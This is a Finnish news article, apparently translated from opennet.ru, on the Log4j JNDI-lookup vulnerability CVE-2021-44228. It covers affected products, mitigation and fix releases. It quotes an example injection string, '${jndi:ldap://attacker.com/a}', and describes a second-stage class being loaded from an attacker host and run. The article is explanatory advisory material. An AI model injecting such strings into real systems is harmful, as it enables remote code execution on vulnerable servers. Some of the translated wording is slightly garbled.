Apache Log4j:n katastrofaalinen haavoittuvuus, joka vaikuttaa moniin Java-projekteihin

Apache Log4j:ssä, suositussa Java-sovellusten kirjaamisen järjestämisessä, on havaittu kriittinen haavoittuvuus, joka mahdollistaa mielivaltaisen koodin suorittamisen, kun lokiin kirjoitetaan erityisesti muotoiltu arvo muodossa "{jndi:URL}". Hyökkäys voidaan suorittaa Java-sovelluksiin, jotka kirjaavat ulkoisista lähteistä vastaanotettuja arvoja esimerkiksi näyttäessään ongelmallisia arvoja virheilmoituksissa.

On huomattava, että ongelma vaikuttaa lähes kaikkiin projekteihin, joissa käytetään kehyksiä, kuten Apache Struts, Apache Solr, Apache Druid tai Apache Flink, mukaan lukien Steam, Apple iCloud, Minecraft-asiakkaat ja palvelimet. Haavoittuvuuden odotetaan johtavan massiivisiin hyökkäysten aaltoon yrityssovelluksiin, jotka toistavat kriittisten haavoittuvuuksien historian Apache Struts -kehyksessä, jota karkean arvion mukaan 65 % Fortunesta käyttää verkkosovelluksissa. 100 yritystä, mukaan lukien yritykset etsiä verkosta haavoittuvia järjestelmiä.

Ongelmaa pahentaa se, että toimiva exploit on jo julkaistu, mutta korjauksia vakaalle haaralle ei ole vielä koottu. CVE-tunnistetta ei ole vielä määritetty. Korjaus sisältyy vain log4j-2.15.0-rc1-testihaaraan. Haavoittuvuuden estämiseksi on suositeltavaa asettaa log4j2.formatMsgNoLookups-parametrin arvoksi tosi.

Ongelma johtui siitä, että log4j tukee erikoismaskien “{}” käsittelyä lokiin tulostetuissa riveissä, joissa JNDI (Java Naming and Directory Interface) -kyselyjä voitiin suorittaa. Hyökkäys tiivistyy merkkijonon välittämiseen korvauksella "${jndi:ldap://attacker.com/a}", jonka käsittelyn jälkeen log4j lähettää LDAP-pyynnön Java-luokan polusta attacker.com-palvelimelle. . Hyökkääjän palvelimen palauttama polku (esimerkiksi http://second-stage.attacker.com/Exploit.class) ladataan ja suoritetaan nykyisen prosessin yhteydessä, jolloin hyökkääjä voi suorittaa mielivaltaisen koodin järjestelmä nykyisen sovelluksen oikeuksilla.

Lisäys 1: Haavoittuvuudelle on määritetty tunniste CVE-2021-44228.

Lisäys 2: On tunnistettu tapa ohittaa julkaisun log4j-2.15.0-rc1 lisäämä suojaus. Uusi päivitys, log4j-2.15.0-rc2, on ehdotettu täydellisemmällä suojauksella haavoittuvuutta vastaan. Koodi korostaa muutosta, joka liittyy epänormaalin päätteen puuttumiseen, jos käytetään väärin muotoiltua JNDI-URL-osoitetta.

Lähde: opennet.ru

Lisää kommentti